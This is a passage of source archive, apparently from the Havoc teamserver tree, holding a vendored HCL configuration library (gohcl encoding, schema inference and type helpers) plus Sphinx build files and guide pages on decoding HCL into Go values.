are formatted as in the following example: // // ThingType string `hcl:"thing_type,attr"` // // Within each tag there are two comma-separated tokens. The first is the // name of the corresponding construct in configuration, while the second // is a keyword giving the kind of construct expected. The following // kind keywords are supported: // // attr (the default) indicates that the value is to be populated from an attribute // block indicates that the value is to populated from a block // label indicates that the value is to populated from a block label // optional is the same as attr, but the field is optional // remain indicates that the value is to be populated from the remaining body after populating other fields // // "attr" fields may either be of type *hcl.Expression, in which case the raw // expression is assigned, or of any type accepted by gocty, in which case // gocty will be used to assign the value to a native Go type. // // "block" fields may be of type *hcl.Block or hcl.Body, in which case the // corresponding raw value is assigned, or may be a struct that recursively // uses the same tags. Block fields may also be slices of any of these types, // in which case multiple blocks of the corresponding type are decoded into // the slice. // // "body" can be placed on a single field of type hcl.Body to capture // the full hcl.Body that was decoded for a block. This does not allow leftover // values like "remain", so a decoding error will still be returned if leftover // fields are given. If you want to capture the decoding body PLUS leftover // fields, you must specify a "remain" field as well to prevent errors. The // body field and the remain field will both contain the leftover fields. // // "label" fields are considered only in a struct used as the type of a field // marked as "block", and are used sequentially to capture the labels of // the blocks being decoded. In this case, the name token is used only as // an identifier for the label in diagnostic messages. // // "optional" fields behave like "attr" fields, but they are optional // and will not give parsing errors if they are missing. // // "remain" can be placed on a single field that may be either of type // hcl.Body or hcl.Attributes, in which case any remaining body content is // placed into this field for delayed processing. If no "remain" field is // present then any attributes or blocks not matched by another valid tag // will cause an error diagnostic. // // Only a subset of this tagging/typing vocabulary is supported for the // "Encode" family of functions. See the EncodeIntoBody docs for full details // on the constraints there. // // Broadly-speaking this package deals with two types of error. The first is // errors in the configuration itself, which are returned as diagnostics // written with the configuration author as the target audience. The second // is bugs in the calling program, such as invalid struct tags, which are // surfaced via panics since there can be no useful runtime handling of such // errors and they should certainly not be returned to the user as diagnostics. package gohcl havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/gohcl/encode.go000066400000000000000000000153601467014221700257020ustar00rootroot00000000000000package gohcl import ( "fmt" "reflect" "sort" "Havoc/pkg/profile/yaotl/hclwrite" "github.com/zclconf/go-cty/cty/gocty" ) // EncodeIntoBody replaces the contents of the given hclwrite Body with // attributes and blocks derived from the given value, which must be a // struct value or a pointer to a struct value with the struct tags defined // in this package. // // This function can work only with fully-decoded data. It will ignore any // fields tagged as "remain", any fields that decode attributes into either // hcl.Attribute or hcl.Expression values, and any fields that decode blocks // into hcl.Attributes values. This function does not have enough information // to complete the decoding of these types. // // Any fields tagged as "label" are ignored by this function. Use EncodeAsBlock // to produce a whole hclwrite.Block including block labels. // // As long as a suitable value is given to encode and the destination body // is non-nil, this function will always complete. It will panic in case of // any errors in the calling program, such as passing an inappropriate type // or a nil body. // // The layout of the resulting HCL source is derived from the ordering of // the struct fields, with blank lines around nested blocks of different types. // Fields representing attributes should usually precede those representing // blocks so that the attributes can group togather in the result. For more // control, use the hclwrite API directly. func EncodeIntoBody(val interface{}, dst *hclwrite.Body) { rv := reflect.ValueOf(val) ty := rv.Type() if ty.Kind() == reflect.Ptr { rv = rv.Elem() ty = rv.Type() } if ty.Kind() != reflect.Struct { panic(fmt.Sprintf("value is %s, not struct", ty.Kind())) } tags := getFieldTags(ty) populateBody(rv, ty, tags, dst) } // EncodeAsBlock creates a new hclwrite.Block populated with the data from // the given value, which must be a struct or pointer to struct with the // struct tags defined in this package. // // If the given struct type has fields tagged with "label" tags then they // will be used in order to annotate the created block with labels. // // This function has the same constraints as EncodeIntoBody and will panic // if they are violated. func EncodeAsBlock(val interface{}, blockType string) *hclwrite.Block { rv := reflect.ValueOf(val) ty := rv.Type() if ty.Kind() == reflect.Ptr { rv = rv.Elem() ty = rv.Type() } if ty.Kind() != reflect.Struct { panic(fmt.Sprintf("value is %s, not struct", ty.Kind())) } tags := getFieldTags(ty) labels := make([]string, len(tags.Labels)) for i, lf := range tags.Labels { lv := rv.Field(lf.FieldIndex) // We just stringify whatever we find. It should always be a string // but if not then we'll still do something reasonable. labels[i] = fmt.Sprintf("%s", lv.Interface()) } block := hclwrite.NewBlock(blockType, labels) populateBody(rv, ty, tags, block.Body()) return block } func populateBody(rv reflect.Value, ty reflect.Type, tags *fieldTags, dst *hclwrite.Body) { nameIdxs := make(map[string]int, len(tags.Attributes)+len(tags.Blocks)) namesOrder := make([]string, 0, len(tags.Attributes)+len(tags.Blocks)) for n, i := range tags.Attributes { nameIdxs[n] = i namesOrder = append(namesOrder, n) } for n, i := range tags.Blocks { nameIdxs[n] = i namesOrder = append(namesOrder, n) } sort.SliceStable(namesOrder, func(i, j int) bool { ni, nj := namesOrder[i], namesOrder[j] return nameIdxs[ni] < nameIdxs[nj] }) dst.Clear() prevWasBlock := false for _, name := range namesOrder { fieldIdx := nameIdxs[name] field := ty.Field(fieldIdx) fieldTy := field.Type fieldVal := rv.Field(fieldIdx) if fieldTy.Kind() == reflect.Ptr { fieldTy = fieldTy.Elem() fieldVal = fieldVal.Elem() } if _, isAttr := tags.Attributes[name]; isAttr { if exprType.AssignableTo(fieldTy) || attrType.AssignableTo(fieldTy) { continue // ignore undecoded fields } if !fieldVal.IsValid() { continue // ignore (field value is nil pointer) } if fieldTy.Kind() == reflect.Ptr && fieldVal.IsNil() { continue // ignore } if prevWasBlock { dst.AppendNewline() prevWasBlock = false } valTy, err := gocty.ImpliedType(fieldVal.Interface()) if err != nil { panic(fmt.Sprintf("cannot encode %T as HCL expression: %s", fieldVal.Interface(), err)) } val, err := gocty.ToCtyValue(fieldVal.Interface(), valTy) if err != nil { // This should never happen, since we should always be able // to decode into the implied type. panic(fmt.Sprintf("failed to encode %T as %#v: %s", fieldVal.Interface(), valTy, err)) } dst.SetAttributeValue(name, val) } else { // must be a block, then elemTy := fieldTy isSeq := false if elemTy.Kind() == reflect.Slice || elemTy.Kind() == reflect.Array { isSeq = true elemTy = elemTy.Elem() } if bodyType.AssignableTo(elemTy) || attrsType.AssignableTo(elemTy) { continue // ignore undecoded fields } prevWasBlock = false if isSeq { l := fieldVal.Len() for i := 0; i < l; i++ { elemVal := fieldVal.Index(i) if !elemVal.IsValid() { continue // ignore (elem value is nil pointer) } if elemTy.Kind() == reflect.Ptr && elemVal.IsNil() { continue // ignore } block := EncodeAsBlock(elemVal.Interface(), name) if !prevWasBlock { dst.AppendNewline() prevWasBlock = true } dst.AppendBlock(block) } } else { if !fieldVal.IsValid() { continue // ignore (field value is nil pointer) } if elemTy.Kind() == reflect.Ptr && fieldVal.IsNil() { continue // ignore } block := EncodeAsBlock(fieldVal.Interface(), name) if !prevWasBlock { dst.AppendNewline() prevWasBlock = true } dst.AppendBlock(block) } } } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/gohcl/schema.go000066400000000000000000000117631467014221700257100ustar00rootroot00000000000000package gohcl import ( "fmt" "reflect" "sort" "strings" "Havoc/pkg/profile/yaotl" ) // ImpliedBodySchema produces a hcl.BodySchema derived from the type of the // given value, which must be a struct value or a pointer to one. If an // inappropriate value is passed, this function will panic. // // The second return argument indicates whether the given struct includes // a "remain" field, and thus the returned schema is non-exhaustive. // // This uses the tags on the fields of the struct to discover how each // field's value should be expressed within configuration. If an invalid // mapping is attempted, this function will panic. func ImpliedBodySchema(val interface{}) (schema *hcl.BodySchema, partial bool) { ty := reflect.TypeOf(val) if ty.Kind() == reflect.Ptr { ty = ty.Elem() } if ty.Kind() != reflect.Struct { panic(fmt.Sprintf("given value must be struct, not %T", val)) } var attrSchemas []hcl.AttributeSchema var blockSchemas []hcl.BlockHeaderSchema tags := getFieldTags(ty) attrNames := make([]string, 0, len(tags.Attributes)) for n := range tags.Attributes { attrNames = append(attrNames, n) } sort.Strings(attrNames) for _, n := range attrNames { idx := tags.Attributes[n] optional := tags.Optional[n] field := ty.Field(idx) var required bool switch { case field.Type.AssignableTo(exprType): // If we're decoding to hcl.Expression then absence can be // indicated via a null value, so we don't specify that // the field is required during decoding. required = false case field.Type.Kind() != reflect.Ptr && !optional: required = true default: required = false } attrSchemas = append(attrSchemas, hcl.AttributeSchema{ Name: n, Required: required, }) } blockNames := make([]string, 0, len(tags.Blocks)) for n := range tags.Blocks { blockNames = append(blockNames, n) } sort.Strings(blockNames) for _, n := range blockNames { idx := tags.Blocks[n] field := ty.Field(idx) fty := field.Type if fty.Kind() == reflect.Slice { fty = fty.Elem() } if fty.Kind() == reflect.Ptr { fty = fty.Elem() } if fty.Kind() != reflect.Struct { panic(fmt.Sprintf( "hcl 'block' tag kind cannot be applied to %s field %s: struct required", field.Type.String(), field.Name, )) } ftags := getFieldTags(fty) var labelNames []string if len(ftags.Labels) > 0 { labelNames = make([]string, len(ftags.Labels)) for i, l := range ftags.Labels { labelNames[i] = l.Name } } blockSchemas = append(blockSchemas, hcl.BlockHeaderSchema{ Type: n, LabelNames: labelNames, }) } partial = tags.Remain != nil schema = &hcl.BodySchema{ Attributes: attrSchemas, Blocks: blockSchemas, } return schema, partial } type fieldTags struct { Attributes map[string]int Blocks map[string]int Labels []labelField Remain *int Body *int Optional map[string]bool } type labelField struct { FieldIndex int Name string } func getFieldTags(ty reflect.Type) *fieldTags { ret := &fieldTags{ Attributes: map[string]int{}, Blocks: map[string]int{}, Optional: map[string]bool{}, } ct := ty.NumField() for i := 0; i < ct; i++ { field := ty.Field(i) tag := field.Tag.Get("yaotl") if tag == "" { continue } comma := strings.Index(tag, ",") var name, kind string if comma != -1 { name = tag[:comma] kind = tag[comma+1:] } else { name = tag kind = "attr" } switch kind { case "attr": ret.Attributes[name] = i case "block": ret.Blocks[name] = i case "label": ret.Labels = append(ret.Labels, labelField{ FieldIndex: i, Name: name, }) case "remain": if ret.Remain != nil { panic("only one 'remain' tag is permitted") } idx := i // copy, because this loop will continue assigning to i ret.Remain = &idx case "body": if ret.Body != nil { panic("only one 'body' tag is permitted") } idx := i // copy, because this loop will continue assigning to i ret.Body = &idx case "optional": ret.Attributes[name] = i ret.Optional[name] = true default: panic(fmt.Sprintf("invalid hcl field tag kind %q on %s %q", kind, field.Type.String(), field.Name)) } } return ret } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/gohcl/types.go000066400000000000000000000005761467014221700256140ustar00rootroot00000000000000package gohcl import ( "reflect" "Havoc/pkg/profile/yaotl" ) var victimExpr hcl.Expression var victimBody hcl.Body var exprType = reflect.TypeOf(&victimExpr).Elem() var bodyType = reflect.TypeOf(&victimBody).Elem() var blockType = reflect.TypeOf((*hcl.Block)(nil)) var attrType = reflect.TypeOf((*hcl.Attribute)(nil)) var attrsType = reflect.TypeOf(hcl.Attributes(nil)) havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/000077500000000000000000000000001467014221700241125ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/Makefile000066400000000000000000000011301467014221700255450ustar00rootroot00000000000000# Minimal makefile for Sphinx documentation # # You can set these variables from the command line. SPHINXOPTS = SPHINXBUILD = sphinx-build SPHINXPROJ = HCL SOURCEDIR = . BUILDDIR = _build # Put it first so that "make" without argument is like "make help". help: @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) .PHONY: help Makefile # Catch-all target: route all unknown targets to Sphinx using the new # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). %: Makefile @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O)havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/conf.py000066400000000000000000000111271467014221700254130ustar00rootroot00000000000000import subprocess import os import os.path # -- Project information ----------------------------------------------------- project = u'HCL' copyright = u'2018, HashiCorp' author = u'HashiCorp' if 'READTHEDOCS_VERSION' in os.environ: version_str = os.environ['READTHEDOCS_VERSION'] else: version_str = subprocess.check_output(['git', 'describe', '--always']).strip() # The short X.Y version version = unicode(version_str) # The full version, including alpha/beta/rc tags release = unicode(version_str) # -- General configuration --------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.todo', 'sphinx.ext.githubpages', 'sphinxcontrib.golangdomain', 'sphinx.ext.autodoc', ] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path . exclude_patterns = [u'_build', 'Thumbs.db', '.DS_Store', 'env'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # -- Options for HTML output ------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'alabaster' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # Custom sidebar templates, must be a dictionary that maps document names # to template names. # # The default sidebars (for documents that don't match any pattern) are # defined by theme itself. Builtin themes are using these templates by # default: ``['localtoc.html', 'relations.html', 'sourcelink.html', # 'searchbox.html']``. # # html_sidebars = {} # -- Options for HTMLHelp output --------------------------------------------- # Output file base name for HTML help builder. htmlhelp_basename = 'HCLdoc' # -- Options for LaTeX output ------------------------------------------------ latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'HCL.tex', u'HCL Documentation', u'HashiCorp', 'manual'), ] # -- Options for manual page output ------------------------------------------ # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'hcl', u'HCL Documentation', [author], 1) ] # -- Options for Texinfo output ---------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'HCL', u'HCL Documentation', author, 'HCL', 'One line description of project.', 'Miscellaneous'), ] # -- Extension configuration ------------------------------------------------- # -- Options for todo extension ---------------------------------------------- # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = True havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/go.rst000066400000000000000000000017321467014221700252540ustar00rootroot00000000000000Using HCL in a Go application ============================= HCL is itself written in Go_ and currently it is primarily intended for use as a library within other Go programs. This section describes a number of different ways HCL can be used to define and process a configuration language within a Go program. For simple situations, HCL can decode directly into Go ``struct`` values in a similar way as encoding packages such as ``encoding/json`` and ``encoding/xml``. The HCL Go API also offers some alternative approaches however, for processing languages that may be more complex or that include portions whose expected structure cannot be determined until runtime. The following sections give an overview of different ways HCL can be used in a Go program. .. toctree:: :maxdepth: 1 :caption: Sub-sections: go_parsing go_diagnostics go_decoding_gohcl go_decoding_hcldec go_expression_eval go_decoding_lowlevel go_patterns .. _Go: https://golang.org/ havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/go_decoding_gohcl.rst000066400000000000000000000117531467014221700302700ustar00rootroot00000000000000.. go:package:: gohcl .. _go-decoding-gohcl: Decoding Into Native Go Values ============================== The most straightforward way to access the content of an HCL file is to decode into native Go values using ``reflect``, similar to the technique used by packages like ``encoding/json`` and ``encoding/xml``. Package ``gohcl`` provides functions for this sort of decoding. Function ``DecodeBody`` attempts to extract values from an HCL *body* and write them into a Go value given as a pointer: .. code-block:: go type ServiceConfig struct { Type string `hcl:"type,label"` Name string `hcl:"name,label"` ListenAddr string `hcl:"listen_addr"` } type Config struct { IOMode string `hcl:"io_mode"` Services []ServiceConfig `hcl:"service,block"` } var c Config moreDiags := gohcl.DecodeBody(f.Body, nil, &c) diags = append(diags, moreDiags...) The above example decodes the *root body* of a file ``f``, presumably loaded previously using a parser, into the variable ``c``. The field labels within the struct types imply the schema of the expected language, which is a cut-down version of the hypothetical language we showed in :ref:`intro`. The struct field labels consist of two comma-separated values. The first is the name of the corresponding argument or block type as it will appear in the input file, and the second is the type of element being named. If the second value is omitted, it defaults to ``attr``, requesting an attribute. Nested blocks are represented by a struct or a slice of that struct, and the special element type ``label`` within that struct declares that each instance of that block type must be followed by one or more block labels. In the above example, the ``service`` block type is defined to require two labels, named ``type`` and ``name``. For label fields in particular, the given name is used only to refer to the particular label in error messages when the wrong number of labels is used. By default, all declared attributes and blocks are considered to be required. An optional value is indicated by making its field have a pointer type, in which case ``nil`` is written to indicate the absence of the argument. The sections below discuss some additional decoding use-cases. For full details on the `gohcl` package, see `the godoc reference `_. .. _go-decoding-gohcl-evalcontext: Variables and Functions ----------------------- By default, arguments given in the configuration may use only literal values and the built in expression language operators, such as arithmetic. The second argument to ``gohcl.DecodeBody``, shown as ``nil`` in the previous example, allows the calling application to additionally offer variables and functions for use in expressions. Its value is a pointer to an ``hcl.EvalContext``, which will be covered in more detail in the later section :ref:`go-expression-eval`. For now, a simple example of making the id of the current process available as a single variable called ``pid``: .. code-block:: go type Context struct { Pid string } ctx := gohcl.EvalContext(&Context{ Pid: os.Getpid() }) var c Config moreDiags := gohcl.DecodeBody(f.Body, ctx, &c) diags = append(diags, moreDiags...) ``gohcl.EvalContext`` constructs an expression evaluation context from a Go struct value, making the fields available as variables and the methods available as functions, after transforming the field and method names such that each word (starting with an uppercase letter) is all lowercase and separated by underscores. .. code-block:: hcl name = "example-program (${pid})" Partial Decoding ---------------- In the examples so far, we've extracted the content from the entire input file in a single call to ``DecodeBody``. This is sufficient for many simple situations, but sometimes different parts of the file must be evaluated separately. For example: * If different parts of the file must be evaluated with different variables or functions available. * If the result of evaluating one part of the file is used to set variables or functions in another part of the file. There are several ways to perform partial decoding with ``gohcl``, all of which involve decoding into HCL's own types, such as ``hcl.Body``. The most general approach is to declare an additional struct field of type ``hcl.Body``, with the special field tag type ``remain``: .. code-block:: go type ServiceConfig struct { Type string `hcl:"type,label"` Name string `hcl:"name,label"` ListenAddr string `hcl:"listen_addr"` Remain hcl.Body `hcl:",remain"` } When a ``remain`` field is present, any element of the input body that is not matched is retained in a body saved into that field, which can then be decoded in a later call, potentially with a different evaluation context. Another option is to decode an attribute into a value of type `hcl.Expression`, which can then be evaluated separately as described in :ref:`expression-eval`. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/go_decoding_hcldec.rst000066400000000000000000000221671467014221700304170ustar00rootroot00000000000000.. go:package:: hcldec .. _go-decoding-hcldec: Decoding With Dynamic Schema ============================ In section :ref:`go-decoding-gohcl`, we saw the most straightforward way to access the content from an HCL file, decoding directly into a Go value whose type is known at application compile time. For some applications, it is not possible to know the schema of the entire configuration when the application is built. For example, `HashiCorp Terraform`_ uses HCL as the foundation of its configuration language, but parts of the configuration are handled by plugins loaded dynamically at runtime, and so the schemas for these portions cannot be encoded directly in the Terraform source code. HCL's ``hcldec`` package offers a different approach to decoding that allows schemas to be created at runtime, and the result to be decoded into dynamically-typed data structures. The sections below are an overview of the main parts of package ``hcldec``. For full details, see `the package godoc `_. .. _`HashiCorp Terraform`: https://www.terraform.io/ Decoder Specification --------------------- Whereas :go:pkg:`gohcl` infers the expected schema by using reflection against the given value, ``hcldec`` obtains schema through a decoding *specification*, which is a set of instructions for mapping HCL constructs onto a dynamic data structure. The ``hcldec`` package contains a number of different specifications, each implementing :go:type:`hcldec.Spec` and having a ``Spec`` suffix on its name. Each spec has two distinct functions: * Adding zero or more validation constraints on the input configuration file. * Producing a result value based on some elements from the input file. The most common pattern is for the top-level spec to be a :go:type:`hcldec.ObjectSpec` with nested specifications defining either blocks or attributes, depending on whether the configuration file will be block-structured or flat. .. code-block:: go spec := hcldec.ObjectSpec{ "io_mode": &hcldec.AttrSpec{ Name: "io_mode", Type: cty.String, }, "services": &hcldec.BlockMapSpec{ TypeName: "service", LabelNames: []string{"type", "name"}, Nested: hcldec.ObjectSpec{ "listen_addr": &hcldec.AttrSpec{ Name: "listen_addr", Type: cty.String, Required: true, }, "processes": &hcldec.BlockMapSpec{ TypeName: "service", LabelNames: []string{"name"}, Nested: hcldec.ObjectSpec{ "command": &hcldec.AttrSpec{ Name: "command", Type: cty.List(cty.String), Required: true, }, }, }, }, }, } val, moreDiags := hcldec.Decode(f.Body, spec, nil) diags = append(diags, moreDiags...) The above specification expects a configuration shaped like our example in :ref:`intro`, and calls for it to be decoded into a dynamic data structure that would have the following shape if serialized to JSON: .. code-block:: JSON { "io_mode": "async", "services": { "http": { "web_proxy": { "listen_addr": "127.0.0.1:8080", "processes": { "main": { "command": ["/usr/local/bin/awesome-app", "server"] }, "mgmt": { "command": ["/usr/local/bin/awesome-app", "mgmt"] } } } } } } .. go:package:: cty Types and Values With ``cty`` ----------------------------- HCL's expression interpreter is implemented in terms of another library called :go:pkg:`cty`, which provides a type system which HCL builds on and a robust representation of dynamic values in that type system. You could think of :go:pkg:`cty` as being a bit like Go's own :go:pkg:`reflect`, but for the results of HCL expressions rather than Go programs. The full details of this system can be found in `its own repository `_, but this section will cover the most important highlights, because ``hcldec`` specifications include :go:pkg:`cty` types (as seen in the above example) and its results are :go:pkg:`cty` values. ``hcldec`` works directly with :go:pkg:`cty` — as opposed to converting values directly into Go native types — because the functionality of the :go:pkg:`cty` packages then allows further processing of those values without any loss of fidelity or range. For example, :go:pkg:`cty` defines a JSON encoding of its values that can be decoded losslessly as long as both sides agree on the value type that is expected, which is a useful capability in systems where some sort of RPC barrier separates the main program from its plugins. Types are instances of :go:type:`cty.Type`, and are constructed from functions and variables in :go:pkg:`cty` as shown in the above example, where the string attributes are typed as ``cty.String``, which is a primitive type, and the list attribute is typed as ``cty.List(cty.String)``, which constructs a new list type with string elements. Values are instances of :go:type:`cty.Value`, and can also be constructed from functions in :go:pkg:`cty`, using the functions that include ``Val`` in their names or using the operation methods available on :go:type:`cty.Value`. In most cases you will eventually want to use the resulting data as native Go types, to pass it to non-:go:pkg:`cty`-aware code. To do this, see the guides on `Converting between types `_ (staying within :go:pkg:`cty`) and `Converting to and from native Go values `_. Partial Decoding ---------------- Because the ``hcldec`` result is always a value, the input is always entirely processed in a single call, unlike with :go:pkg:`gohcl`. However, both :go:pkg:`gohcl` and :go:pkg:`hcldec` take :go:type:`hcl.Body` as the representation of input, and so it is possible and common to mix them both in the same program. A common situation is that :go:pkg:`gohcl` is used in the main program to decode the top level of configuration, which then allows the main program to determine which plugins need to be loaded to process the leaf portions of configuration. In this case, the portions that will be interpreted by plugins are retained as opaque :go:type:`hcl.Body` until the plugins have been loaded, and then each plugin provides its :go:type:`hcldec.Spec` to allow decoding the plugin-specific configuration into a :go:type:`cty.Value` which be transmitted to the plugin for further processing. In our example from :ref:`intro`, perhaps each of the different service types is managed by a plugin, and so the main program would decode the block headers to learn which plugins are needed, but process the block bodies dynamically: .. code-block:: go type ServiceConfig struct { Type string `hcl:"type,label"` Name string `hcl:"name,label"` PluginConfig hcl.Body `hcl:",remain"` } type Config struct { IOMode string `hcl:"io_mode"` Services []ServiceConfig `hcl:"service,block"` } var c Config moreDiags := gohcl.DecodeBody(f.Body, nil, &c) diags = append(diags, moreDiags...) if moreDiags.HasErrors() { // (show diags in the UI) return } for _, sc := range c.Services { pluginName := block.Type // Totally-hypothetical plugin manager (not part of HCL) plugin, err := pluginMgr.GetPlugin(pluginName) if err != nil { diags = diags.Append(&hcl.Diagnostic{ /* ... */ }) continue } spec := plugin.ConfigSpec() // returns hcldec.Spec // Decode the block body using the plugin's given specification configVal, moreDiags := hcldec.Decode(sc.PluginConfig, spec, nil) diags = append(diags, moreDiags...) if moreDiags.HasErrors() { continue } // Again, hypothetical API within your application itself, and not // part of HCL. Perhaps plugin system serializes configVal as JSON // and sends it over to the plugin. svc := plugin.NewService(configVal) serviceMgr.AddService(sc.Name, svc) } Variables and Functions ----------------------- The final argument to ``hcldec.Decode`` is an expression evaluation context, just as with ``gohcl.DecodeBlock``. This object can be constructed using :ref:`the gohcl helper function ` as before if desired, but you can also choose to work directly with :go:type:`hcl.EvalContext` as discussed in :ref:`go-expression-eval`: .. code-block:: go ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "pid": cty.NumberIntVal(int64(os.Getpid())), }, } val, moreDiags := hcldec.Decode(f.Body, spec, ctx) diags = append(diags, moreDiags...) As you can see, this lower-level API also uses :go:pkg:`cty`, so it can be particularly convenient in situations where the result of dynamically decoding one block must be available to expressions in another block. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/go_decoding_lowlevel.rst000066400000000000000000000207141467014221700310220ustar00rootroot00000000000000.. _go-decoding-lowlevel: Advanced Decoding With The Low-level API ======================================== In previous sections we've discussed :go:pkg:`gohcl` and :go:pkg:`hcldec`, which both deal with decoding of HCL bodies and the expressions within them using a high-level description of the expected configuration schema. Both of these packages are implemented in terms of HCL's low-level decoding interfaces, which we will explore in this section. HCL decoding in the low-level API has two distinct phases: * Structural decoding: analyzing the arguments and nested blocks present in a particular body. * Expression evaluation: obtaining final values for each argument expression found during structural decoding. The low-level API gives the calling application full control over when each body is decoded and when each expression is evaluated, allowing for more complex configuration formats where e.g. different variables are available in different contexts, or perhaps expressions within one block can refer to values defined in another block. The low-level API also gives more detailed access to source location information for decoded elements, and so may be desirable for applications that do a lot of additional validation of decoded data where more specific source locations lead to better diagnostic messages. Since all of the decoding mechanisms work with the same :go:type:`hcl.Body` type, it is fine and expected to mix them within an application to get access to the more detailed information where needed while using the higher-level APIs for the more straightforward portions of a configuration language. The following subsections will give an overview of the low-level API. For full details, see `the godoc reference `_. Structural Decoding ------------------- As seen in prior sections, :go:type:`hcl.Body` is an opaque representation of the arguments and child blocks at a particular nesting level. An HCL file has a root body containing the top-level elements, and then each nested block has its own body presenting its own content. :go:type:`hcl.Body` is a Go interface whose methods serve as the structural decoding API: .. go:currentpackage:: hcl .. go:type:: Body Represents the structural elements at a particular nesting level. .. go:function:: func (b Body) Content(schema *BodySchema) (*BodyContent, Diagnostics) Decode the content from the receiving body using the given schema. The schema is considered exhaustive of all content within the body, and so any elements not covered by the schema will generate error diagnostics. .. go:function:: func (b Body) PartialContent(schema *BodySchema) (*BodyContent, Body, Diagnostics) Similar to `Content`, but allows for additional arguments and block types that are not described in the given schema. The additional body return value is a special body that contains only the *remaining* elements, after extraction of the ones covered by the schema. This returned body can be used to decode the remaining content elsewhere in the calling program. .. go:function:: func (b Body) JustAttributes() (Attributes, Diagnostics) Decode the content from the receiving body in a special *attributes-only* mode, allowing the calling application to enumerate the arguments given inside the body without needing to predict them in schema. When this method is used, a body can be treated somewhat like a map expression, but it still has a rigid structure where the arguments must be given directly with no expression evaluation. This is an advantage for declarations that must themselves be resolved before expression evaluation is possible. If the body contains any blocks, error diagnostics are returned. JSON syntax relies on schema to distinguish arguments from nested blocks, and so a JSON body in attributes-only mode will treat all JSON object properties as arguments. .. go:function:: func (b Body) MissingItemRange() Range Returns a source range that points to where an absent required item in the body might be placed. This is a "best effort" sort of thing, required only to be somewhere inside the receiving body, as a way to give source location information for a "missing required argument" sort of error. The main content-decoding methods each require a :go:type:`hcl.BodySchema` object describing the expected content. The fields of this type describe the expected arguments and nested block types respectively: .. code-block:: go schema := &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "io_mode", Required: false, }, }, Blocks: []hcl.BlockHeaderSchema{ { Type: "service", LabelNames: []string{"type", "name"}, }, }, } content, moreDiags := body.Content(schema) diags = append(diags, moreDiags...) :go:type:`hcl.BodyContent` is the result of both ``Content`` and ``PartialContent``, giving the actual attributes and nested blocks that were found. Since arguments are uniquely named within a body and unordered, they are returned as a map. Nested blocks are ordered and may have many instances of a given type, so they are returned all together in a single slice for further interpretation by the caller. Unlike the two higher-level approaches, the low-level API *always* works only with one nesting level at a time. Decoding a nested block returns the "header" for that block, giving its type and label values, but its body remains an :go:type:`hcl.Body` for later decoding. Each returned attribute corresponds to one of the arguments in the body, and it has an :go:type:`hcl.Expression` object that can be used to obtain a value for the argument during expression evaluation, as described in the next section. Expression Evaluation --------------------- Expression evaluation *in general* has its own section, imaginitively titled :ref:`go-expression-eval`, so this section will focus only on how it is achieved in the low-level API. All expression evaluation in the low-level API starts with an :go:type:`hcl.Expression` object. This is another interface type, with various implementations depending on the expression type and the syntax it was parsed from. .. go:currentpackage:: hcl .. go:type:: Expression Represents a unevaluated single expression. .. go:function:: func (e Expression) Value(ctx *EvalContext) (cty.Value, Diagnostics) Evaluates the receiving expression in the given evaluation context. The result is a :go:type:`cty.Value` representing the result value, along with any diagnostics that were raised during evaluation. If the diagnostics contains errors, the value may be incomplete or invalid and should either be discarded altogether or used with care for analysis. .. go:function:: func (e Expression) Variables() []Traversal Returns information about any nested expressions that access variables from the *global* evaluation context. Does not include references to temporary local variables, such as those generated by a "``for`` expression". .. go:function:: func (e Expression) Range() Range Returns the source range for the entire expression. This can be useful when generating application-specific diagnostic messages, such as value validation errors. .. go:function:: func (e Expression) StartRange() Range Similar to ``Range``, but if the expression is complex, such as a tuple or object constructor, may indicate only the opening tokens for the construct to avoid creating an overwhelming source code snippet. This should be used in diagnostic messages only in situations where the error is clearly with the construct itself and not with the overall expression. For example, a type error indicating that a tuple was not expected might use 